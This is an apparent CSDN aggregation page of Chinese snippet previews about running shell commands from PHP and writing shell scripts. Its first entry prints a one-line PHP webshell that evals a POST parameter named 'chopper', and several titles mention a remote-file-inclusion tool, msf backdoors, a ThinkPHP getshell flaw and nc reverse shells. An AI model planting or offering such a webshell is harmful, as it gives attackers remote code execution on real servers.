php 获取shell_shell 获取php - CSDN
精华内容
参与话题
  • php一句话获取webshell代码

    千次阅读 2018-12-14 18:07:18
    <?php @eval($_POST['chopper']);?>

    <?php @eval($_POST['chopper']);?>

    展开全文
  • $sCheckNetworkMessage = ''; $shell = '/bin/ping -c4 www.baidu.com'; $sCheckNetworkMessage .= date('Y-m-d H:i:s')." Check network for baidu host[{...
    $sCheckNetworkMessage = '';
    $shell = '/bin/ping -c4 www.baidu.com';
    $sCheckNetworkMessage .= date('Y-m-d H:i:s')." Check network for baidu host[{$shell}]: \r\n";
    // $sCheckNetworkMessage .= trim(shell_exec($shell))."\r\n";//简略模式
    $return_msg = $return_var = '';
    $output = [];
    $return_string = exec($shell, $output, $return_var);//明细模式
    $sCheckNetworkMessage .= "return_string: {$return_string}, return_var: {$return_var}."."\r\n";
    for($i=0;$i<count($output);$i++){
        $sCheckNetworkMessage .= $output[$i]."\r\n";
    }

     

    转载于:https://my.oschina.net/fz04003/blog/3031303

    展开全文
  • php远程文件包含漏洞获取webshell的工具
  • linux下php获取shell命令返回数据

    千次阅读 2018-11-28 18:46:06
    获取cpu使用率: 例: sensor.php: &amp;amp;amp;lt;?php exec(&amp;amp;quot;top -b -n 1|grep CPU|grep -v grep|awk '{if(NR==1){print $8}}'&amp;amp;quot;,$output); $tmp = $output[0]; $...

    获取cpu使用率:

    例:
    sensor.php:

    <?php
    	exec("top -b -n 1|grep CPU|grep -v grep|awk '{if(NR==1){print $8}}'",$output);
    	$tmp = $output[0];
    	$output = array();
    	echo $output;
    	
    ?>
    

    在这里插入图片描述
    注:$output为获取标准输出的数组,每次循环会累加到数据中,所有进行了数组清空:
    $output = array();
    所以,每次数据都为最新数据存放于数组首元素中。

    展开全文
  • shell怎么获取一个文件或目录的绝对路径呢? 也许你会立马想到realpath(如果你写过php的话),那么shell支持这个命令吗?看一下这里你就知道了。 Realpath appears to come from debian, and is not part of ...

    shell 脚本中,通常会使用相对路径来做处理,但有时候,我们也许需要用到绝对路径。
    在shell怎么获取一个文件或目录的绝对路径呢?
    也许你会立马想到realpath(如果你写过php的话),那么shell支持这个命令吗?看一下这里你就知道了。
    Realpath appears to come from debian, and is not part of coreutils,Realpath appears not to be standard issue.
    这个命令并不是总是可用的。 其实我们可以使用readlink命令:readlink -f  file_path
    file_real_path=$(readlink -f .)    获取当前的真实路径
    file_real_path=$(readlink -f ../..)    获取上上一级的真实路径
    这样就可以获得文件的绝对路径了,readlink的具体用法请自行man readlink!

    Readlink对于softlink的处理拿到的是实际的文件路径,而不是softlink路径。

    更好用的获取当前执行脚本的路径的方法为: 

    CURDIR=$(cd $(dirname ${BASH_SOURCE[0]}); pwd )

    echo $CURDIR 


    其他的常用路径有:

    获取当前执行脚本的路径 
    filepath=$(cd "$(dirname "$0")"; pwd) 

    echo "$(basename $0) $(dirname $0) -- $filepath " 
    脚本文件的绝对路径存在了环境变量filepath中,可以用echo $filepath  


    $0: 获取当前脚本的名称 
    $#: 传递给脚本的参数个数 
    $$: shell脚本的进程号



    展开全文
  • shell获取当前用户名或者ID

    万次阅读 2009-10-26 11:00:00
    [user@localhost fix_bug_srpm]$ echo "$USER"user[user@localhost fix_bug_srpm]$ echo `id -u`503[user@localhost fix_bug_srpm]$ echo `whoami`user[user@localhost fix_bug_srpm]$ echo `who am i`
  • 如何在脚本中获取进程ID(PID)

    千次阅读 2015-11-16 10:13:09
    我想要知道运行中脚本子shell的进程id。我该如何在shell脚本中得到PID。   当我在执行shell脚本时,它会启动一个叫子shell的进程。作为主shell的子进程,子shellshell脚本中的命令作为批处理运行(因此称为...
  • shell小记:dirname

    万次阅读 2015-12-15 11:41:11
    shell中,会有以下语句用于获取当前的路径: CURRENT_DIR="$(cd "$(dirname "$0")"; pwd)"其中的 $0表示添加到shell的第0个参数,dirname其实就是获取某个目录或文件的路径,例如:
  • php执行linux命令、shell脚本。以获取服务器运行状态举栗子
  • shell 脚本获取echo命令输出

    千次阅读 2019-07-28 17:17:19
    使用 $() 实现变量替换。 var=$(echo "hello world") echo $var #output: hello world 能实现同样功能的还有``(反引号),而且所有unix系统都一定支持``(反引号)! ps: bash脚本变量和等号之间不......
  • 利用msf生成后门拿shell

    千次阅读 2017-11-15 23:31:38
    kali x64:192.168.26.136 win7 x86: 192.168.26.128 先在kali终端输入msfvenom -l,打开payload目录 然后找到payload windows/meterpreter/reverse_tcp ...然后将生成的qq.exe移到win7中,然后打开msf
  • shell脚本——字符串 数组

    千次阅读 2018-06-15 11:07:42
    单双引号的区别跟PHP类似。单引号str='this is a string'单引号字符串的限制:单引号里的任何字符都会原样输出,单引号字符串中的变量是无效的;单引号字串中不能出现单引号(对单引号使用转义符后也不行)。双引号...
  • php中判断shell_exec执行结果

    万次阅读 2016-05-05 13:58:43
     不过shell_exec执行成功无输出 和 执行失败 返回的都是null 在记录错误日志的时候区分就成问题了。  在php手册的评论中找到了区分的方法,在此记录一下。   $shell = "wget -O despath sourcepath && echo
  • exec 与shell_exec的区别

    万次阅读 2016-11-01 14:41:29
    手册 shell_exec函数运行在shell脚本环境,没有返回值 shell_exec (PHP 4, PHP 5, PHP 7) shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。 说明 string shell_exec ( ...
  • 使用shell获取ip地址

    千次阅读 2011-04-19 11:48:00
    ifconfig返回的信息中包括IP地址,但要在Shell获取当前IP地址,则要麻烦一些 获取方法由于不同系统中ifconfig返回信息的格式有一定差别,故分开讨论:[1]Linux:LC_ALL=C ifconfig | grep'inet addr:'| grep -v '...
  • 漏洞概况 ThinkPHP是一款国内流行的开源PHP框架,近日被爆出存在可能的远程代码...由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。 漏洞危害 攻击者可通过该漏洞获取...
  • linux下使用shell发送http请求

    万次阅读 2017-11-23 10:29:42
    本文主要介绍如何在linux下使用shell发送http请求。一、curl1. get请求curl命令默认下就是使用get方式发送http请求。curl www.baidu.com2. post请求使用-d参数,形式如下:curl -d "param1=value1¶m2=value2" ...
  • curl获取返回值

    万次阅读 2013-01-10 23:21:13
    首先需要开启php中从curl库 开启方法参考这里:http://blog.csdn.net/huoshi5151/article/details/8491699 http://s134.hzw.91wan.com/api/active?qid=120581680&server_id=S134 上面的链接会显示一个“1”,...
  • Windows/Linux 下nc 反弹shell

    千次阅读 2020-03-17 21:39:16
    *Windows/Linux 下nc 反弹shell 高二那年班主任对我们说:其实我并不反对你们谈恋爱, 只是你们记得要找一个有担当的, 那些一看见老师就松开你手的,要来有什么用? NC概述: nc又名netcat,一个简单而有用...
  • 获取数组最后一个元素的key值

    万次阅读 2015-07-07 10:39:13
    今天一个场景,需要获取一个数组的最大的key值, 比如: $arr = array( 11 => 1, 6 => 2, 9 => 5, 21 => 1 ); 想获取到21的话 那么就得 $maxKey = 0; foreach( $arr as $k => $v ) { if( $k > $maxKey )...
1 2 3 4 5 ... 20
收藏数 37,832
精华内容 15,132
关键字:

php 获取shell